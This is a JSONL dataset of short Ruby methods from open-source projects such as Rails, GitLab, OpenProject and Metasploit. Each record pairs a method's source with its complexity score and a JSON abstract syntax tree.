{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/supports_feature_mixin.rb","start_line":109,"raw_source":"def subclasses_supporting(feature)\n      supported_subclasses.select { |subclass| subclass.supports?(feature) }\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"subclasses_supporting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supported_subclasses\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subclass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subclass\"]},\"supports?\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]}]}","id":"cebdbbef-0bf6-447f-b360-a0f06ac5bd5e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/locking/optimistic.rb","start_line":193,"raw_source":"def hook_attribute_type(name, cast_type)\n              if lock_optimistically && name == locking_column\n                cast_type = LockingType.new(cast_type)\n              end\n\n              super\n            end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"hook_attribute_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"cast_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lock_optimistically\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"locking_column\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cast_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LockingType\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"cast_type\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"10d0e3f2-7d55-41fa-996f-0d2288c02dc4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/workflows_controller.rb","start_line":117,"raw_source":"def find_roles\n    @roles = eligible_roles.order(:builtin, :position)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_roles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@roles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eligible_roles\"]},\"order\",{\"type\":\"sym\",\"children\":[\"builtin\"]},{\"type\":\"sym\",\"children\":[\"position\"]}]}]}]}","id":"2c8a2f64-baf9-4e34-b8f2-abf85540d089"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":78,"raw_source":"def test_logout_redirect_without_to\n    draw do\n      get \"account/logout\" => redirect(\"/logout\"), :as => :logout_redirect\n    end\n\n    assert_equal \"/account/logout\", logout_redirect_path\n    get \"/account/logout\"\n    verify_redirect \"http://www.example.com/logout\"\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_logout_redirect_without_to\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"account/logout\"]},{\"type\":\"send\",\"children\":[null,\"redirect\",{\"type\":\"str\",\"children\":[\"/logout\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"logout_redirect\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/account/logout\"]},{\"type\":\"send\",\"children\":[null,\"logout_redirect_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/account/logout\"]}]},{\"type\":\"send\",\"children\":[null,\"verify_redirect\",{\"type\":\"str\",\"children\":[\"http://www.example.com/logout\"]}]}]}]}","id":"955d36b2-916f-4b11-88ca-02ba18378893"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/plugin/metadata_spec.rb","start_line":32,"raw_source":"def official(name)\n    metadata = Plugin::Metadata.parse <<TEXT\n# name: #{name}\nTEXT\n\n    expect(metadata.official?).to eq(true)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"official\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plugin\"]},\"Metadata\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"# name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"official?\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"ebca7858-f210-49bc-83de-6e5738212441"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/script/base.rb","start_line":57,"raw_source":"def print_line(*args);    output.print_line(*args);     end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_line\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print_line\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"8b124171-3b63-49cc-ac97-c0bb65293b6b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":378,"raw_source":"def test_ignore_nil_schema_search_path\n    assert_nothing_raised { with_schema_search_path nil }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ignore_nil_schema_search_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"with_schema_search_path\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"eeef5191-26b8-4ef1-a33a-8bc3a417f2da"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/anthropic/chat.rb","start_line":57,"raw_source":"def add_optional_fields(payload, system_content:, tools:, temperature:)\n          payload[:tools] = tools.values.map { |t| Tools.function_for(t) } if tools.any?\n          payload[:system] = system_content unless system_content.empty?\n          payload[:temperature] = temperature unless temperature.nil?\n        end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_optional_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"kwarg\",\"children\":[\"system_content\"]},{\"type\":\"kwarg\",\"children\":[\"tools\"]},{\"type\":\"kwarg\",\"children\":[\"temperature\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tools\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tools\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tools\"]},\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tools\"]},\"function_for\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_content\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"system\"]},{\"type\":\"lvar\",\"children\":[\"system_content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temperature\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"temperature\"]},{\"type\":\"lvar\",\"children\":[\"temperature\"]}]}]}]}]}","id":"e023eabd-11e5-44ea-8576-390ee4013e45"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/explain_test.rb","start_line":38,"raw_source":"def test_relation_explain_with_average\n      expected_query = capture_sql {\n        Car.average(:id)\n      }.first\n      message = Car.all.explain.average(:id)\n      assert_match(/^EXPLAIN/, message)\n      assert_match(expected_query, message)\n    end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_relation_explain_with_average\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_query\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Car\"]},\"average\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Car\"]},\"all\"]},\"explain\"]},\"average\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^EXPLAIN\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"expected_query\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"fa7bcdd9-f3fa-4886-92b8-e23c29be3577"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/20250804133700_migrate_auth_provider_urls_again.rb","start_line":32,"raw_source":"def change # rubocop:disable Metrics/AbcSize\n    reversible do |direction|\n      direction.up do\n        PluginAuthProvider.create_all_registered\n\n        users_data = execute(<<-SQL.squish).values\n          SELECT id, identity_url FROM users WHERE type = 'User' AND NOT (identity_url = '' OR identity_url IS NULL);\n        SQL\n        auth_providers_data = execute(<<-SQL.squish).values\n          SELECT id, slug FROM auth_providers\n        SQL\n\n        insert_data = users_data.filter_map do |user_id, identity_url|\n          slug, external_id = identity_url.split(\":\", 2)\n          next if slug.blank? || external_id.blank?\n\n          auth_provider_id, = auth_providers_data.find { |_, auth_provider_slug| auth_provider_slug == slug }\n          next if auth_provider_id.blank?\n\n          \"(#{user_id}, #{auth_provider_id}, '#{external_id}', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)\"\n        end.join(\",\\n\")\n\n        if insert_data.present?\n          execute(<<-SQL.squish).values\n            INSERT INTO user_auth_provider_links (user_id, auth_provider_id, external_id, created_at, updated_at)\n              VALUES #{insert_data}\n              ON CONFLICT DO NOTHING\n              RETURNING id\n          SQL\n        end\n      end\n    end\n  end","complexity_score":56.38,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reversible\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"direction\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"direction\"]},\"up\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PluginAuthProvider\"]},\"create_all_registered\"]},{\"type\":\"lvasgn\",\"children\":[\"users_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"          SELECT id, identity_url FROM users WHERE type = 'User' AND NOT (identity_url = '' OR identity_url IS NULL);\\n\"]},\"squish\"]}]},\"values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_providers_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"          SELECT id, slug FROM auth_providers\\n\"]},\"squish\"]}]},\"values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"insert_data\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_data\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"identity_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slug\"]},{\"type\":\"lvasgn\",\"children\":[\"external_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity_url\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"external_id\"]},\"blank?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_provider_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_providers_data\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"auth_provider_slug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_provider_slug\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_provider_id\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_provider_id\"]}]},{\"type\":\"str\",\"children\":[\", '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"external_id\"]}]},{\"type\":\"str\",\"children\":[\"', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"insert_data\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"            INSERT INTO user_auth_provider_links (user_id, auth_provider_id, external_id, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"              VALUES \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"insert_data\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"              ON CONFLICT DO NOTHING\\n\"]},{\"type\":\"str\",\"children\":[\"              RETURNING id\\n\"]}]},\"squish\"]}]},\"values\"]},null]}]}]}]}]}","id":"6e941436-efcb-4f81-9cd7-176a37792625"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20251016153238_add_project_id_to_slack_integrations.rb","start_line":11,"raw_source":"def up\n    with_lock_retries do\n      add_column TABLE_NAME, COLUMN_NAME, :bigint, if_not_exists: true\n    end\n\n    add_concurrent_index TABLE_NAME, COLUMN_NAME, name: INDEX_NAME\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}]}","id":"71f33022-3e43-4542-aafa-6a1c83a3ced2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/adapters/foreign_key_structure_sql_adapter.rb","start_line":19,"raw_source":"def table_name\n            parsed_stmt.relation.relname\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"table_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_stmt\"]},\"relation\"]},\"relname\"]}]}","id":"4cfba7dd-ccdf-41e2-9b5a-3482df60dfb6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":1118,"raw_source":"def dependency_proxy_image_ttl_policy\n    super || build_dependency_proxy_image_ttl_policy\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"dependency_proxy_image_ttl_policy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"build_dependency_proxy_image_ttl_policy\"]}]}]}","id":"40845523-4658-4c8d-8623-3c2e65b17636"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/application_controller.rb","start_line":364,"raw_source":"def render_feed(items, options = {})\n    @items = items || []\n    @items = @items.sort { |x, y| y.event_datetime <=> x.event_datetime }\n    @items = @items.slice(0, Setting.feeds_limit.to_i)\n    @title = options[:title] || Setting.app_title\n    render template: \"common/feed\", layout: false, content_type: \"application/atom+xml\"\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_feed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@items\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@items\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@items\"]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]},{\"type\":\"arg\",\"children\":[\"y\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"event_datetime\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"event_datetime\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@items\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@items\"]},\"slice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"feeds_limit\"]},\"to_i\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@title\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"app_title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"common/feed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"application/atom+xml\"]}]}]}]}]}]}","id":"57b7a60a-d61e-4cff-a2b7-b63dae9cf4a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/avoid_conditional_statements.rb","start_line":48,"raw_source":"def on_if(node)\n          conditional = node.ternary? ? node.source : node.keyword\n\n          add_offense(node, message: format(MESSAGE, conditional: conditional))\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conditional\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"keyword\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MESSAGE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditional\"]},{\"type\":\"lvar\",\"children\":[\"conditional\"]}]}]}]}]}]}]}]}]}","id":"56b0a69d-2102-4da6-b75c-fd4b11287e70"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/rapid_diffs/merge_request_presenter.rb","start_line":9,"raw_source":"def diffs_stats_endpoint\n      diffs_stats_project_merge_request_path(resource.project, resource)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"diffs_stats_endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"diffs_stats_project_merge_request_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]}","id":"ac9bbe7b-9a08-4f55-acc5-9b3b5b1fc0fe"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1435,"raw_source":"def test_arbitrary_output_option; skip # error\n    assert_raises_message(Haml::Error, \"Invalid output format :html1\") do\n      engine(\"%br\", :format => :html1)\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_arbitrary_output_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises_message\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Haml\"]},\"Error\"]},{\"type\":\"str\",\"children\":[\"Invalid output format :html1\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"engine\",{\"type\":\"str\",\"children\":[\"%br\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"html1\"]}]}]}]}]}]}]}","id":"3abbfa96-047d-4157-bee2-3cb5f4cbc4c2"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/tagged_logging.rb","start_line":36,"raw_source":"def tagged(*tags)\n        pushed_count = tag_stack.push_tags(tags).size\n        yield self\n      ensure\n        pop_tags(pushed_count)\n      end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"tagged\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"tags\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pushed_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_stack\"]},\"push_tags\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]},\"size\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"pop_tags\",{\"type\":\"lvar\",\"children\":[\"pushed_count\"]}]}]}]}","id":"15b6d936-f013-4e4e-87a1-d1828c2785c5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/check_line_breakable.rb","start_line":209,"raw_source":"def process_args(args)\n        # If there is a trailing hash arg without explicit braces, like this:\n        #\n        #    method(1, 'key1' => value1, 'key2' => value2)\n        #\n        # ...then each key/value pair is treated as a method 'argument'\n        # when determining where line breaks should appear.\n        last_arg = args.last\n        args = args[0...-1] + last_arg.children if last_arg&.hash_type? && !last_arg&.braces?\n        args\n      end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_arg\"]},\"hash_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_arg\"]},\"braces?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_arg\"]},\"children\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}","id":"f4aae65c-7bc1-45b7-b990-e2223c068a5d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/abrt_sosreport_priv_esc.rb","start_line":85,"raw_source":"def timeout\n    datastore['TIMEOUT']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}","id":"48862223-7465-40b3-9fe2-d94a0445f15b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/alert_management/payload/base.rb","start_line":207,"raw_source":"def parse_integer(value)\n          Integer(value)\n        rescue ArgumentError, TypeError\n        end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_integer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]},null,null]},null]}]}","id":"3bc047bb-6108-448e-8bdf-43572874b304"}
